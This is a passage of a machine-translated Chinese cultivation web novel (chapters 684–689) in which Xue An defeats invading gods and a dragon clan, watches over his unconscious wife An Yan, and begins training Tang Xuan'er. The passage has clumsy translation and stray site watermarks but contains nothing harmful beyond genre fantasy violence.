    She wanted to go up to accompany Xue An, but the Black King and several cultivators had already grabbed her.


    "Mrs. Xue, please don''t be impulsive!" The Black King discouraged in a deep voice.


    At this time, Qin Yu rushed over desperately, and said solemnly, "Sister Yan, hurry up with me!"


    An Yan shook his head, "No, I won''t go!"


    Qin Yu was very anxious, "Mr. Xue will definitely be fine. You have to believe him, but you are here with your two children. If something happens to them, how can you explain to Mr. Xue?"


    An Yan was startled.


    At this moment, Zhou Da Niu spit out a few big mouthfuls of blood in the air, and the giant palm began to fall slowly.


    An Yan took a deep breath and released the Fu Bao Xiaolou straightly and neatly.


    "Miss Qin, can you please leave me with the miss and Xuan''er!"


    "but����!"


    "I can''t just watch my husband being bullied by these guys, my husband, only I can bully, no one else!"


    An Yan was full of solemn expression, took out the weapon from the mustard seed ring, flew into the sky, and went straight to the idol.


    boom.


    When Anyan''s pan was slapped on the statue of God.


    The Ling Lei Zun in the pan let out a miserable howl.


    "No, this is the power of the true god!"


    Xuan was wiped out by the force of the counter shock.


    Then a crack appeared on the pan.


    Upon seeing this, An Yan gritted his teeth, threw the pan away, and rushed forward with bare hands.


    At this time, Cheng Hao, Zhang Chu and others were frantically attacking this statue.


    But none of their attacks seemed to break through the defense of the statue, and they could not even make the statue look at them.


    When he saw An Yan rushing, Cheng Hao was startled, and then shouted: "Sister Yan, hurry up! This is not a place for you to come!"


    But An Yan didn''t seem to hear it at all, his eyes gradually became blood red, and a powerful momentum began to emerge.


    "What''s the matter? When did the mistress have such a powerful force?" Xiaosha, who was desperately resisting the falling of the giant palm, couldn''t help exclaiming.


    An Yan, who had always been weak, was finally gone at this moment.


    Crashed with a palm.


    Click.


    A slight crack appeared on the arm of this statue.


    This finally made this idol look towards Anyan.


    But at the same time, chains suddenly appeared on An Yan''s body, and her original strong aura quickly began to decline, and then she fell into darkness.


    The Dark Witch Anastasia rushed over, trying to hug Anyan and send her back to the ground.


    At this time, the face of this statue showed a touch of surprise.


    "This shackles seal...hehe, it''s interesting, but let me die!"


    After that, two cold rays appeared in the eyes of the idol, piercing An Yan directly.


    Anastasia was able to arrive at this moment, hugged An Yan, and barely avoided these two blows.


    But this idol obviously did not intend to let Anyan ~ www.novelhall.com ~ launched another attack.


    At this time, Cheng Hao and others rushed to rescue An Yan frantically.


    And Xiaosha, Zhou Daniu and others are still holding on to the falling giant palm.


    Zhang Xiaoyu stared blankly, and then cried out with a hint of crying: "My lord, you wake up soon! Someone is bullying the mistress!"


    suddenly.


    Zhang Xiaoyu felt Xue An''s body move.


    Before she could react, Xue An''s eyes showed a gleam of light.


    Octopus was excited just about to shout.


    A strong aura directly bounced her out.


    Then, Xue An slowly raised his eyes, with infinite killing intent in his eyes.


    As far as I can see, it seems that even the space has to be burned to pieces.

 Chapter 684： The slashed gods and demons bow their heads and dare not come again...

    "It''s a big... Your lord, your lord has woke up!" Zhang Xiaoyu exclaimed excitedly.


    Everyone looked at Xue An in unison.


    The audience watching the live broadcast was even more excited and all stood up, clenched their fists and watched with their breath.


    Seeing Xue An stepping forward, the whole person came to Anastasia in an instant.


    An Yan was lying unconscious in her arms at the moment.


    Xue An stretched out his hand.


    Anastasia was slightly startled, and then quickly put An Yan in his arms.


    Xue An hugged An Yan as a princess, and looked down at her.


    At this moment, Anyan''s eyes were closed tightly, and there was abnormal flushing on his cheeks.


    Xue An didn''t say a word, just watched quietly.


    At this time, the statue grinned and said.


    "Xue An, are you actually awake? Okay, then I will kill all these people in front of you!"


    After all, the golden light on the idol''s body was flourishing, and Cheng Hao and others who were close to him were shaken away.


    But before and after the golden light arrived near Xue An, all of them disappeared invisible.


    Then Xue An raised his head slightly, looked at this extremely tall idol, and said lightly: "Ten thousand years ago, you slaughtered the ancestors of the Chinese people, there were your heavenly gods and demons, right?"


    Hearing these words, the statue, including Miss Long who was entrenched in his chest, trembled.


    "Xue An..." What else the idol wanted to say.


    Xue An shook his head, "Tell me, who is driving you?"


    Xue An was not in a coma just now, but his divine sense came to a very mysterious space, and then saw a cruel picture.


    It is the picture of the Chinese ancestors being slaughtered by gods and demons thousands of years ago, and there is the shadow of the true **** of heaven.


    But it can be seen from the picture that these true gods of the heavens are just slaves driven by people, and the real masters are hidden above the sky, covered by layers of mist.


    That''s why Xue An asked.


    "Xue An, that''s right, ten thousand years ago, there were gods and demons in the heavens who came here, but if you want to know who is the leader, it is completely wishful thinking!"


    Xue An nodded, "Very good! Since you don''t say anything, then I will kill the heavens and investigate by myself!"


    "Xue An, are you telling a joke? You killed the heavens, who do you think you are? Let''s talk about it if you can pass me!" The **** Jie Jie laughed strangely.


    Xue An didn''t say a word, but lowered his head and gently kissed An Yan''s forehead.


    "My wife, don''t be afraid, if you hurt you, I will make him pay it back a hundred times!"


    And this idol can''t hold back at this moment, and smiled grinningly: "A good pair of mandarin ducks, then I will fulfill you!"


    As he spoke, he raised his palm again and snapped it up.


    The power of this palm was stronger than before, and countless people were retreated.


    Xue An watched quietly, then raised the corners of his mouth and said lightly.


    "cause and effect!"


    Xue An''s golden fairy magical power is the power of cause and effect.


    This time, he finally appeared in front of everyone again.


    Everyone felt that the world seemed to be silent at this moment.


    Even the wind has stopped.


    Layers of gray brilliance wrapped around this statue, freezing its movements.


    Can be a moment later.


    These brilliance burst into pieces, and then came the proud laugh of this idol.


    "Xue An, it''s useless! Your golden celestial powers are indeed domineering enough, but I am the true **** of the heavens, and I am not bound by the laws of the heavens in this world at all. Your magical powers can''t help me!"


    Seeing this scene, countless people''s hearts are strained.


    Xue An ignored the clamor of the god, and said lightly: "The blade of cause and effect! Now!"


    boom.


    Following his order, the endless sword glow appeared in an instant, but this time the sword glow shone with a hint of cold heavenly law.


    This **** was slightly startled, just about to say something.


    Xue An''s eyes were brilliant, and he whispered: "Kill all gods!"


    These sword lights rushed away, completely covering this idol in an instant.


    "Ahhhhhhhh! How could it be possible, how could you have this supernatural power?"


    After being covered by these sword lights, the idol roared in pain.


    Because these sword lights contain the power of cause and effect.


    His invincible body could not resist the erosion of this power.


    boom.


    With a crisp explosion.


    This idol began to collapse gradually, and the shouts became more and more frightened.


    "no, do not want!"


    at last.


    The timid **** got out of the Zhou Tianhuan starry sky array, boarded his own boat, and turned around to escape.


    But Xue An took another step and said lightly: "Reverse!"


    Another wave of sword light that was denser than before came to the world, and then completely sealed off the entire world.


    I saw Jian Guang biting and murderous.


    And Xue An, holding An Yan, stood in the void, his eyes fierce, his clothes wafting, and the sky full of stars flashed in his eyes, which made people afraid to look directly.


    Everyone watched this scene blankly.


    Some were timid and even wanted to kneel down.


    Because the shock of this scene is simply too great.


    At this time, the roar of the gods came from the world covered by the blade of cause and effect and reversal.


    "Xue An, do you have to kill everything like this?"


    Xue An heard this, and a cold smile appeared at the corner of his mouth.


    "From the moment you step into this room, you should be ready to be slaughtered!"


    "No! I was wrong. All of this is due to the fascination of the Tianlong clan. Please let me go!" A **** began to beg for mercy.


    The whole world was in an uproar.


    It turns out... these gods and demons are also afraid of the strong!


    Xue An shook his head and said indifferently: "Now tell me, who drove you to come here to slaughter ten thousand years ago?"


    "No! We would rather die than say!"


    Xue An nodded, "Well, then you go to die!"


    "Ah ah ah ah! Xue An, don''t be arrogant, the one who drove us is an existence you can''t even think of, and you will die without a place to be buried!"


    Xue An smiled slightly, "All the heavens and all realms, I dominate, no matter who it is, since I dared to commit a monstrous killing karma to the Chinese, I will kill it!"


    boom.


    Jianmang became more violent again.


    In a sword light that looked like a flame, these gods were struggling, begging for mercy, and roaring.


    Everyone is stupid.


    They all stared blankly at the arrogant and upright figure in the air.


    Someone whispered The gods and Buddhas who had been cut by one person bowed their heads, making them afraid to come to this world again! This... is truly invincible in the world! "


    At this time, the gods in the sky had been killed and wounded, and in the endless golden light, the souls of these gods were wandering and trying to escape here.


    Xue An raised his head and said indifferently: "Yan''er, you said that you like lotus most, so my husband will let you see what these gods look like when they are made into lotus."


    As he spoke, white flames flew into it.


    The souls of these gods shouted in horror: "No...this is the flame of extinction! How can you have..."


    The voice disappeared.


    The golden light in the sky fell silent, and after a trembling, the lotus blossoms began to swing and grow, and then bloom.


    One thought is pure, the flames become a pool.


    Slaughter the gods and destroy the demons, fast and fast!

 Chapter 685： Wipe out

    The golden light dissipated.


    The gods who once occupied the entire sky have disappeared.


    The only thing left is the golden boats.


    Xue An stretched out his hand, and these golden boats suddenly flashed with brilliance, and then they shrank sharply and were incorporated into Xue An''s palm.


    People watched this scene blankly, not knowing what words to use to express their feelings.


    Just now, many people desperately believed that the end is coming, and humans will become slaves under the iron hoof of these gods and demons.


    In the blink of an eye, these powerful gods and demons were slaughtered by Xue An alone.


    This unexpected reversal has left many people''s brains blank.


    At this time, Xue An hugged An Yan and gently dropped to the ground.


    Fan Mengxue, Fire Phoenix and many other strong men also landed afterwards.


    At this time, the two little girls and Tang Xuan''er had already emerged from the Fu Bao Xiaolou.


    After seeing Xue An land, the two little girls ran over.


    "Dad, what''s wrong with mom?"


    Xue An smiled slightly, "Mom is okay, mom is too tired, so sleep for a while!"


    Thinking and Niannian nodded obediently, then grabbed the corner of Xue An''s clothes and quietly followed behind him.


    Xue An walked forward, wherever he passed, everyone voluntarily retreated to open a path, and stood on both sides with hands down.


    "Mr. Invincible!"


    I don''t know who started it, and then everyone present began to shout in unison.


    "Mr. Invincible!"


    In these shouts, Xue An looked calm, walked slowly past the crowd, came to a place, and then stood still.


    In front of him were the Jin family members who were already shaking like chaff.


    Xue looked at them quietly.


    The crowd gradually calmed down.


    There was a plop.


    The leader Jin Hao couldn''t bear the pressure and knelt on the ground all of a sudden.


    When he knelt down, everyone in the Jin family also knelt down.


    Jin Hao''s clothes were already wet with cold sweat, he didn''t even dare to lift his head, he could only say tremblingly.


    "Xue An, I don''t ask you to forgive me. I hope you can leave our Jin family with the last trace of dignity and let me wait for self-decision. How about?"


    Hearing this pleading, many people''s expressions became a little complicated.


    Although the Jin family is indeed guilty of a million deaths, but now that Jin Hao, who has been in a rare age, only wants to commit suicide, many people are moved with compassion.


    So many people looked at Xue An with pleading eyes.


    But under this circumstance, Xue An raised his mouth slightly, and said lightly: "Why, as the eldest lady of the Tianlong clan, don''t you dare to look up at me now?"


    Hearing this sentence, many people were a little confused.


    And Jin Hao, who was kneeling on the ground, was shocked, and then said in a trembling tone: "Xue An, I am Jin Hao, the head of the Jin family, you said..."


    Xue An interrupted him directly, "Okay, you don''t have to act in front of me. When I slaughtered the gods just now, you took advantage of the chaos and hid a trace of the spirit in this Jinhao''s soul, and then wanted to borrow Taking this opportunity to commit suicide and escape from birth, am I right? Miss Long."


    Hearing what Xue An said, many people suddenly realized.


    Jin Hao suddenly raised his head, panic in his eyes that had turned into reptiles.


    "Xue An, are you really going to kill me? You have already killed one of my brothers and sisters, how about letting me live?"


    "Leave you a way out? Haha, if you hadn''t provided you with the detailed position of this world in the heavens, how could the true gods of the heavens cross the void? Now you still want to ask for mercy, don''t you think it''s too wishful thinking? "


    Jin Hao just wanted to talk.


    A wisp of sword light swept all the Jin Family members behind him.


    Heads of people rose directly into the sky, and in an instant, only Jin Hao was left in the Jin family, kneeling on the spot.


    Xue An said calmly: "You are a very scheming dragon. When you approached this Jin family, you wanted to leave yourself a way out! That''s why you have left seeds in these people so that you can use your **** at any time. I want to go in, but now, the Jin family is gone, where can you go?"


    Jinhao, no, it should be said that Long Da''s face showed a very malicious look.


    "Xue An, you are really amazing. I underestimated you, but you have slaughtered so many gods in the heavens and have caused great disaster. The gods of the heavens and my heavenly dragon clan will not let you go!"


    With that, Jin Hao suddenly spit out a mouthful of blood, and then a faint mark flew straight to Xue An.


    "You have been marked by me, and the Tianlong clan will never die with you! Hahahaha..." Long Da laughed frantically.


    Xue An shook his head, "It''s really pathetic!"


    As he said, a divine mind wrapped the mark and floated in the air.


    Long Da''s laughter stopped abruptly, "You...how can you..."


    Long Da couldn''t believe his eyes.


    You must know that what she is casting is the Dragon Blood Curse Killing Technique, which is a vicious technique handed down from the Tianlong tribe.


    It is aimed directly at the divine mind and soul.


    This mark will not interfere with your cultivation, but it will follow you like a shadow, endlessly.


    If you don''t know the method of cracking, even reincarnation cannot be broken.


    But Xue An broke open so easily.


    Xue An said indifferently, "I was tired of this kind of exercise a thousand years ago!"


    After all, Shennian strangled, and this mark was wiped out.


    "Oh, I forgot to tell you, your Celestial Dragon clan will not survive for too long! Because this is what I said!"


    After Xue An said lightly, a lotus flower composed of white flames had appeared on the head of this dragon.


    Long Da wailed, "Xue..."


    boom.


    The white flame completely covered Long Da, only to hear a faint dragon chant, and then it was completely burned to nothing.


    The eldest lady of the Heavenly Dragon tribe, her spirits and spirits were destroyed.


    Until this time, many onlookers understood what was going on.


    I can��t help but be impressed by Xue An��s decisiveness and discerning eyes and after doing all this, Xue An said calmly: "Chen Patriarch, you will take care of the rest. I will take Yan first. Come home!"


    "Yes!" Chen Xiu and Gong said.


    Then Xue An took his two daughters, Tang Xuan''er and others into the air and flew to Anjia.


    After Chen Xiu and the others were left, these people looked at each other and let out a sigh of relief.


    at the same time.


    Because of the simultaneous live broadcast, people all over the world have witnessed the whole process.


    Xue An''s powerful strength has shocked countless people.


    So soon, many countries have shown great kindness towards China.


    Because everyone understands that China, from now on, will become the most powerful country in the world, and there is no one.

 Chapter 686： Everyone is waiting for this girl to wake up

    Zhongdu.


    settle down.


    As a top giant, this place has not been affected by the chaos of the world, and the buildings are all intact.


    now.


    On the top floor of the Anjia Residence, there is a room that is not too large.


    An Yan was sleeping in bed.


    Xue An sat by the bed and looked at her quietly.


    The decoration in this room is not luxurious, it can even be described as a little shabby.


    And this is the room An Yan used to live in.


    It was the first time for Xue An to follow An Yan home. Because of the humiliation and anger of all parties, An Yan led Xue An back to his boudoir and planned to arrange Xue An to live in his room.


    This caused an uproar. Kim Soo-young, who was in power at the time, was furious and thought An Yan''s move was simply discrediting An Jia.


    As a wealthy family, how can a girl who has not been out of the cabinet lead a man back to her room?


    To this end, Jin Xiurong personally brought people over to question.


    But An Yan, who was always gentle, refused to give up at that time, and even wanted to break with An Jia.


    At that time, Xue An was watching quietly, with only one thought in his mind.


    In this life, I will live up to this girl.


    In a blink of an eye, everything has become a reality.


    Xue An fulfilled his original promise and made An Yan a unique woman in the world.


    But Xue An understands that this girl actually doesn''t need anything, as long as she is by her side.


    Thinking of this, Xue An suddenly remembered how she spent the four years without her by her side.


    At this point, Xue An felt distressed and seemed to shrink together.


    He stretched out his hand and gently stroked An Yan''s cheek, his eyes full of pampering.


    "Silly girl, no matter who puts the seal on you, I will make him pay the price of blood!"


    Xue An could see that An Yan was too excited at the time and used a cultivation base that exceeded the normal limit. As a result, the seal on her body was activated, which caused the divine soul to be shocked, and the result was a coma.


    Although this did not harm An Yan, it was nothing more than a day or two of lethargy.


    But Xue An raised infinite murderous intentions.


    "The Seal of the Immortal King... Haha, since he is the Immortal King, it is considered a mighty one in the heavens and all realms, but she has shot a mortal woman to seal it. Based on this, no matter who it is, even if I completely overturn the heavens and all realms. Coming here, I will kill you completely."


    Along with Xue An''s killing intent, a thick black cloud appeared above Anjia.


    The many powerhouses sitting on the ground outside the home all showed solemn expressions.


    "This is the vision produced by Mr. Xue disturbing the world with his own mood!"


    "Sure enough, he is the first person in the world, and he can disturb the world with a single thought."


    "I don''t know what''s going on with Mr. Xue''s wife! If there is anything, then Mr. Xue''s monstrous anger..."


    Hearing these words, everyone was silent, and there was a look of horror in their eyes.


    Yes.


    If Mr. Xue is furious, who in this world can resist it?


    These powerful men all followed Xue An, but they dared not enter Anjia, so they all sat outside on the ground, guarding silently.


    And many media reporters are also squatting outside.


    Because people all over the world have seen An Yan''s actions to save Xue An, as well as the scene of her falling into a coma.


    This allows Anyan to win the respect of countless people.


    Especially many girls, instantly turned into loyal fans of Anyan.


    And in the end, when Xue An left with her in his arms, countless people were more suspicious.


    Is there anything wrong with this Mrs. Xue?


    For this reason, all major media all over the world have sent reporters here, just to get valuable news clues as soon as possible.


    Just when people all over the world are worried about it.


    In Anjia, the atmosphere is also very depressing.


    Those who can appear here are all Xue An''s acquaintances.


    Including the people in Beijiang and the provincial capital, none of them left, but silently guarding them outside.


    When they saw the black clouds in the sky and felt the terrifying killing intent, everyone became disgusted with it.


    Fan Mengxue and Tang Xuan''er looked at each other, and both saw the worry in each other''s eyes.


    "Yan''er will be fine, right?" Tang Xuan''er said uneasyly.


    Fan Mengxue shook her head, "There should be nothing wrong!"


    Even so, Fan Mengxue raised her head and looked at the dark clouds in the sky, falling into deep anxiety.


    The next two days.


    Xue An has been guarding An Yan''s side and never left.


    The dark clouds in the sky have been lingering.


    Many people''s hearts are gradually sinking.


    That evening.


    Thinking and Niannian gently opened the door and walked into the room.


    "father."


    At this moment, the two of them dared to enter this room.


    Xue An woke up from his thoughts, looked up at the two little girls, smiled slightly, and then stretched out his hand.


    The two little girls walked over and were picked up by Xue An and placed on their laps.


    "Dad, mom hasn''t woken up yet?" The two little girls cuddled up in Xue An''s arms obediently, and asked quietly after a meeting.


    Xue An shook his head, "Not yet, but it should be soon!"


    "Dad, will Mom always be unable to wake up like Aunt Qing''er?" Niannian raised her head, her big eyes filled with tears not knowing when.


    Xue An smiled lightly and rubbed her head, "Stupid, will Dad lie to you? Mom will wake up soon!"


    "But I''m so scared!" Nian-nian said softly.


    Think about it, there was no answer, but the past face was filled with tears.


    Xue An was shocked and suddenly regretted.


    I have been with Yan''er all my heart these days, but ignored these two little girls.


    It was also because these two little girls were so well-behaved, they didn''t cry or make trouble from the beginning to the end, and kept waiting honestly from the side.


    But no matter how sensible they are, they are just two children.


    What would it feel in their hearts to see their mother unconscious?


    Thinking of this, Xue An felt distressed, and hurriedly said with a smile: "Okay, don''t be afraid! Dad promises you that mom will wake up soon! Dad, don''t you believe it?"


    The two little girls nodded lightly when they heard the words, but their faces were still unhappy.


    Seeing this, Xue An moved in his heart and said with a smile: "I miss you, do you two want to eat ice cream?"


    The eyes of the two little girls shone slightly.


    "But..." The two of them were about to say something.


    Xue An smiled, "It just so happens that your mother hasn''t woken up yet, so shall we secretly eat a big bucket of ice cream?"


    The two little girls finally fell, nodded, "Okay!"


    A lot of ice cream was stored in the mustard ring worn by An Yan, and Xue An took out a large bucket.


    "Come on, dad eat with you!"


    "Hmm!"


    So the father and daughter, each with a spoon, lay on the table and started eating ice cream.


    Just as they were eating happily, a gentle female voice came from behind.


    "Tasty?"

 Chapter 687： Now is the best time!

    The father and daughter were taken aback for a moment, then turned to look.


    Seeing An Yan did not know when he had already sat up, and was looking at the three of them with a smile.


    A big smile gradually appeared on the faces of the two little girls, and they threw away the spoon in their hands and rushed over.


    "Mom! You finally woke up!"


    The two rushed into An Yan''s arms, An Yan petted the heads of the two little girls, and pretended to be angry and said, "The two little cats are eating ice cream again!"


    "It''s my father who wants us to eat!" Thinking and Nian''s skillful skill in dumping the pot directly passed the responsibility to Xue An.


    An Yan looked up and saw Xue An was quietly looking at her.


    The two eyes met each other.


    After a while.


    An Yan swept the temples by her ears, her eyes were reddish, but she smiled, "Husband."


    Xue An''s mouth gradually raised, revealing a wicked smile.


    Then he got up and walked to the bed and picked An Yan from the bed.


    An Yan snorted, hiding in Xue An''s arms, and trembled: "Thinking and thinking are there..."


    Xue An turned to look.


    But seeing the two little girls covering each other''s eyes, they said grinning: "Mom, we didn''t see anything!"


    Then the two weird little girls pushed each other and left the room grinning.


    After a while, two little girls laughed outside.


    An Yan''s face flushed, and she punched Xue An''s chest with a slight anger.


    "It''s all on you, I was made fun of by my two daughters..."


    The words are not over yet.


    Xue An has leaned down and kissed An Yan''s lips.


    An Yan stiffened, then tears appeared in his eyes, and he hugged Xue An with both hands.


    This kiss lasted three minutes.


    Xue An didn''t let her go until An Yan was a little hypoxic, and then whispered in An Yan''s ear.


    "Silly girl, do you know how much I worry about you these past two days? You won''t be allowed to take risks anymore. I''m here for everything. I only want you and your two daughters to be safe, understand?"


    An Yan was buried in Xue An''s arms and nodded vigorously, "Hmm! I see."


    There was a warm atmosphere in the room.


    After a while, An Yan gently circled Xue An''s chest with his fingers, and whispered: "Husband, how long have I slept?"


    Xue An smiled slightly, "Two days and three nights, 63 hours to be exact."


    "Have I slept for so long?" An Yan was a little surprised.


    "Yeah! It''s just a lazy pig!" Xue An said with a smile.


    An Yan smiled, but did not refute.


    At this time, Xue An came to the window holding An Yan.


    The moonlight outside was picturesque and the stars shone.


    The two looked at everything outside, only to feel that the two hearts were closer than ever before.


    "Yaner!"


    "Ok?"


    "After a while, go outside with me!" Xue An looked at the starry sky outside and said softly.


    An Yan said without hesitation: "Good!"


    Xue An looked down at An Yan, who was curled up in his arms like a kitten, and smiled.


    "Did you expect it a long time ago?"


    An Yan nodded slightly, "I know, this world is still too small for you, and I want to see what the outside world will look like."


    Xue An smiled, raised his head, his eyes seemed to penetrate the sky, looked towards the unknown, and then said lightly: "The outside world will be wonderful that ordinary people can''t imagine."


    An Yan stared at Xue An''s profile blankly. Although he had seen it countless times, An Yan was still impressed by the sparkle in Xue An''s eyes this time.


    a long time.


    An Yan said in a low voice, "Husband, what about Qinger and Mengxue?"


    Xue An smiled, "It''s not that we won''t come back here. Now that this world is getting stronger and stronger, it is the best time for everyone to increase their strength! They stay here to guard, it is much safer than going outside!"


    An Yan nodded, "Then when shall we leave?"


    "Don''t worry, there are still a lot of things to do. We can only leave after we are done!"


    As he was talking, a soft knock on the door came from outside, and then Tang Xuan''er''s voice came.


    "Yan''er, are you awake?"


    Hearing this voice, An Yan hurriedly broke free from Xue An''s arms, tidying up his clothes and hair in a panic, and then said: "Well, Xuan''er, come in!"


    The door was then pushed open.


    Then Tang Xuan''er and Fan Mengxue walked in.


    After seeing An Yan standing there normally, the two let out a sigh of relief.


    "It''s all right!" Tang Xuan''er said with a smile.


    The two of them only learned that An Yan had woke up after seeing Missing Nian walk out grinning.


    But the mysterious appearance of the two little girls made Tang Xuan''er and Fan Mengxue understand something, so they didn''t come to knock on the door until a long time passed.


    Then Chen Xiuhe, Yang Bin, Qiao Le, Qin Yu and others all rushed to hear the news.


    The room was crowded, and people were standing outside.


    The gloom that had been suppressed in everyone''s hearts for several days was completely gone.


    Xue An smiled slightly, "Since everyone is here, let''s have a dinner party!"


    When everyone heard it, they all responded with a bang.


    quickly.


    An Jia began to prepare for a grand dinner.


    The news that An Yan woke up quickly spread.


    The powerhouses who had been guarding outside couldn''t help but breathe when they heard this news.


    As for those media reporters, they passed the news back as soon as possible.


    Xue An naturally knew what was going on outside, so he sent someone to invite these people to the dinner together.


    At this moment, the people outside became excited.


    The waiting these days has not been in vain.


    And those media reporters are even more ecstatic.


    That night.


    There were no empty seats in the Anjia''s hall, and the strong and big men from all sides gathered together.


    And when An Yan took Xue An''s arm and appeared in front of everyone.


    The atmosphere also reached a climax.


    Everyone stood up and toasted.


    Xue An smiled slightly, and then also picked up the wine glass, "This glass, to everyone!"


    After all, Xue An drank it all!


    "Sir, you are polite, and we should thank you!"


    "Yes! From then on the world is stable, everything is the credit of Mr.!"


    Everyone responded and drank the wine in one cup.


    And this scene was also broadcast live to the world simultaneously through the lens.


    The banquet continued until many people had already drunk it.


    Xue An stood up and looked around the audience first. After everyone was quiet, he said lightly: "Everyone, as it is today, but everything is far from over. The coveting hearts of these gods and demons will never be broken!"


    Hearing Xue An''s words like this, the originally warm atmosphere was condensed.


    The expressions of many people became solemn.


    "Sir, what should I do then?"


    "Yes! What should I do?"


    Xue An smiled faintly, "It''s very simple, if you don''t be bullied, then you only have to become stronger! And now is the best time."

 Chapter 688： The sky is healthy, the gentleman strives for self-improvement

    The audience was quiet, and after a while, someone asked hesitantly.


    "The best time?"


    Xue An glanced at it, and it was the town general who was speaking, and he couldn''t help but smile.


    "That''s right! Now that the spirit of this world is revived and luck is restarted, this is the best time. I will give many techniques to help everyone improve their cultivation as soon as possible! And... I will also restore the many secrets in the world. Open one by one, when the time comes, the rise of the Chinese and even the entire human race will be just around the corner!"


    Xue An''s words seemed to blow a violent wind in the banquet hall, making everyone unable to sit still.


    The Chinese people are all excited, because they know that the rise of the Chinese is unstoppable.


    People from other countries and nationalities showed admiration and gratitude, and these people also heard what Xue An said.


    Human race will also rise, and they will naturally get a share of this upheaval.


    Seeing the excited crowd in the audience, Xue An waved his hand to signal everyone to be quiet, and then said lightly: "And I can tell you now! The outside world is much larger than you think, the heavens and the world, The strong like the forest, it is a cruel and wonderful world!"


    Hearing Xue An''s words, everyone''s expressions gradually became astonished.


    "The world we live in used to be known as the origin of ten thousand realms, but later because of the slaughter of several great tribes of heaven, the Chinese might be able to cut down the trees to protect this realm, and the world has never been connected! The spiritual energy is gradually declining and will be beyond the heavens!"


    Speaking of this, Xue An''s tone was as cold as ice.


    "Now that this world is about to return to the heavens, those former enemies will never let go! There will be more challenges from all sides!"


    "But there is an old saying in China, called Tian Xingjian, and a gentleman always strives for self-improvement. This is very reasonable, because only by self-improvement, this realm... can truly gain a foothold among the heavens and all realms and reproduce the original glory. ."


    Xue An''s words caused a dead silence in the banquet hall.


    Many people are stunned.


    The heavens and myriad worlds are unparalleled in the world, self-cutting to build wood, the great clans of the heavens...


    Piece by piece, they are shocking secrets that are enough to shake the world.


    But today, it was revealed by Xue Safety, which naturally shocked everyone.


    At this moment, Xue An looked around the audience, a flash of murder in his eyes.


    "As for those great clans who have slaughtered the Chinese and plundered their luck...I can only say that the enemies of the genocide must be returned with blood!"


    boom!


    This sentence completely ignited the originally depressed atmosphere in the banquet hall.


    The General Zhen Guo and the many generals behind him, including all the people in China, all stepped forward, shouting with a solemn face: "The vengeance of the genocide must be returned with blood!"


    In an instant, everyone''s shouts echoed in the banquet hall.


    "The hatred of annihilation must be paid back with blood!"


    And Xue An''s words were also broadcast live on TV and the Internet, and soon spread throughout the world.


    Everyone was shocked.


    Because what Xue An said has had too much impact on people, and it has changed many inherent concepts.


    The world''s structure has begun to undergo drastic changes. Many countries and forces that have been hostile to China have all turned into the ultimate licking dog at this moment, and they have begun to kneel and lick China without principle.


    The reason is very simple, because Xue An said that many exercises should be given.


    For many countries who suffer from no practice, this is simply an unparalleled temptation.


    Of course, these things will naturally be handled by the general of the town and country.


    After the dinner, Xue An returned to the inner house of Anjia and called Tang Xuan''er.


    "Is there anything?" Tang Xuan''er asked, who hurried over.


    At this moment, her cheeks are red and she is three-point drunk.


    At the banquet tonight, she also drank two glasses of red wine. When she came back, she was about to sleep, but when she heard Xue An call herself, she rushed over.


    Seeing this beautiful girl, Xue An was quite moved.


    He hadn''t returned yet, and An Yan didn''t know his whereabouts either.


    This girl alone took on the heavy responsibility of taking care of the miss.


    Based on this, Xue An also respected him.


    "Xuan''er, do you want to practice?" Xue An asked with a smile.


    "Huh?" Tang Xuan''er stared wide at Xue An, looking at Xue An with some confusion.


    "Just like Anyan and Mengxue, they cultivate immortals and become Dao!"


    "But... can I do it?" Tang Xuan''er actually hesitated in the face of Xue An''s question.


    If anyone else saw this scene, it would be anxious to death.


    In the eyes of others, if Xue An, the first person in the world, asked him if he wanted to practice, then the answer must be yes!


    After all, this is a once in a lifetime opportunity.


    But Tang Xuan''er hesitated.


    Xue An smiled upon hearing the words, "Of course, even if it doesn''t work, I can let you do it."


    "And... after practicing, you can stay youthful forever!" Xue An blinked and said with a smile.


    Tang Xuan''er is also a girl, and naturally has no resistance to such youthfulness, so she nodded.


    "Okay! I am willing to practice, but what should I do? If it''s too complicated, I''m afraid I won''t be able to learn it!"


    Xue An laughed, "You were like this when you were in school, haven''t you changed for so many years?"


    Tang Xuan''er lowered her head in embarrassment, "I''m just afraid of trouble!"


    "Okay, then I will let you practice without trouble!"


    After all, Xue An''s eyes were full of glory, and he directly began to transform Tang Xuan''er''s body with the supreme cultivation base.


    At the beginning, Xue An had let Tang Xuan''er take a Pei Yuan Pill, which was considered a good foundation for her.


    But at that time Xue An Xiuwei hadn''t recovered to where he is now, and Pei Yuan Dan was not a particularly good medicine, so it was just a very superficial foundation.


    Now Xue An is directly using the supreme cultivation base to wash Tang Xuaner''s muscles.


    In an instant, a group of gray and defeated brilliance separated from Tang Xuan''er''s body.


    Tang Xuan''er''s temperament became more and more pure.


    At the same time, Xue An said indifferently: "Focus on one, don''t do it!"


    Tang Xuan''er was shocked when she heard this, and her whole person quickly entered a state of meditation.


    Xue An can''t help sighing This gentle girl has a pure mind, and it is extremely difficult for others to settle, but it is easy for her.


    Thinking about it, Xue An directly passed a volume of scripture with a powerful spiritual mind.


    And directly used her own cultivation base to help Tang Xuan''er run.


    After a while, Tang Xuan''er''s body was radiant, and her aura rose steadily.


    Soon, he reached the happy state.


    When Tang Xuan''er slowly opened her eyes, she couldn''t help but looked at her body in surprise.


    She felt a powerful force working in her body, and at the same time there was something more in her mind.


    "Xue An, this is..."


    Xue An smiled slightly, "Xuan''er, your mind is pure and you don''t like to be troublesome, I will give you a real Yuqing Zizai scroll."


    "I got this scripture from an ancient fairy sect. Zhongzheng is peaceful and suitable for you!"

 Chapter 689： Are you still waiting for him?

    Tang Xuan''er blinked, feeling a little curious, "Yuqing Zizai Zhenju? It sounds a little weird. But is this just cultivation? It doesn''t feel particularly difficult!"


    Xue An could hardly hear it, and Tang Xuan''er certainly didn''t feel it difficult, because how many people in the world could have expert assistance like Xue An when they were practicing?


    But he still nodded and smiled: "Yes, I said it is not particularly difficult!"


    "Hehe, teasing you, I know you are helping me, thank you!" Tang Xuan''er said seriously.


    Xue An smiled, "I also know that you are teasing me, so I just talk about it casually."


    Then both of them laughed.


    "Xue An, you seem to have changed a lot, but you don''t seem to have changed anymore. At least when you were in bad shape, it was almost the same as when you were in school!


    "Can I understand that you are complimenting me?" Xue An smiled lightly.


    Tang Xuan''er nodded seriously, "Don''t doubt, I''m just complimenting you."


    "Thank you!"


    "I hope this is not your casual talk!"


    The two laughed again, and suddenly fell silent.


